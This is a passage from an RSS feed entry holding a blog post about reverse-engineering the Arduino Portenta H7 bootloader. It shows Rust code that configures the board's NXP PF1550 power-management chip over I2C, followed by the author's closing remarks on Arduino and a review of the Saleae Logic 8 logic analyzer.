font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x52</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x09</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-8">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x53</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0F</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-9">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x9C</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x80</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-10">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x9E</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x20</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-11">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x42</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x02</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-12">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x94</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xA0</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-13">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3B</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0F</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-14">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x35</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0F</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-15">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x42</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x01</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-16">]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb2-17"></span>
<span id="cb2-18"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> configure<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>E<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> BUS<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> I2CWrite<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> E<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span>(bus<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> BUS) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> E<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-19">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> data <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> PMIC_SETUP <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-20">        bus<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>write(PMIC_ADDRESS<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>data)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb2-21">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb2-22">    <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Ok</span>(())</span>
<span id="cb2-23"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb2-24"></span>
<span id="cb2-25"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> i2c_bus <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> dp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>I2C1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>i2c(</span>
<span id="cb2-26">    (</span>
<span id="cb2-27">        gpiob<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>pb6<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>into_alternate_af4()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>set_open_drain()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-28">        gpiob<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>pb7<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>into_alternate_af4()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>set_open_drain()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-29">    )<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-30">    <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">100</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>khz()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-31">    ccdr<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>peripheral<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>I2C1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-32">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>ccdr<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>clocks<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-33">)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb2-34"></span>
<span id="cb2-35"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Configure PMIC (NXP PF1550)</span></span>
<span id="cb2-36">configure(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> i2c_bus)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>Data captures and more documentation can be found at <a href="https://github.com/olback/h7-bootloader-rev/">olback/h7-bootloader-rev</a>. Project that started it all: <a href="https://github.com/olback/h7">olback/h7</a>.</p>
</section>
<section id="final-thoughts" class="level1">
<h1>Final thoughts</h1>
<p>This blog post is just scratching the surface of the Portenta H7 bootloader, it should be enough to get you going on platforms other than the Arduino IDE.</p>
<section id="arduino" class="level3">
<h3 class="anchored" data-anchor-id="arduino">Arduino</h3>
<p>While I appreciate open-source hardware and software, I find it rather annoying when companies like Arduino go almost all the way. Especially with a device like this, a device aimed at “pros” who probably won’t use the Arduino IDE to write production code. The lack of communication from Arduinos side is also quite disappointing.</p>
</section>
<section id="saleae-logic-8" class="level3">
<h3 class="anchored" data-anchor-id="saleae-logic-8">Saleae Logic 8</h3>
<p>Since I purchased a <a href="https://www.saleae.com/">Saleae Logic 8</a> for this project, here are some thoughts:</p>
<p>It’s a brick, but in a good way. The housing is all metal, giving the device some heft and a premium feel. The included wires are nothing like the cheap jumpers you’re used to. These a soft, very bendy wires with a good feling. The Logic2 software is really easy to use. No wierd layouts or quirks. Community extensions are supported which is super nice. The only thing I’m not a fan of is that Logic2 is written using <a href="https://github.com/electron/electron">Electron</a>. Wish it was a “native” application but since the performance is surprisingly good, I’ll let it slide.</p>
<p>If you’re a hardware tinkerer and don’t already have a logic analyzer or an ocsillisocpe with serial decode, I think you should consider getting one. You get ~50% off if you’re a student.</p>


</section>
</section>

 ]]></description>
  <category>arduino</category>
  <category>rust</category>
  <category>bootloader</category>
  <category>h7</category>
  <category>saleae</category>
  <guid>https://olback.dev/posts/2021-10-30-arduino-portenta-h7-bootloader-rev/</guid>
  <pubDate>Sat, 30 Oct 2021 00:00:00 GMT</pubDate>
  <media:content url="https://olback.dev/posts/2021-10-30-arduino-portenta-h7-bootloader-rev/arduino_rust_pmic_siglent.bmp" medium="image"/>
</item>
</channel>
</rss>
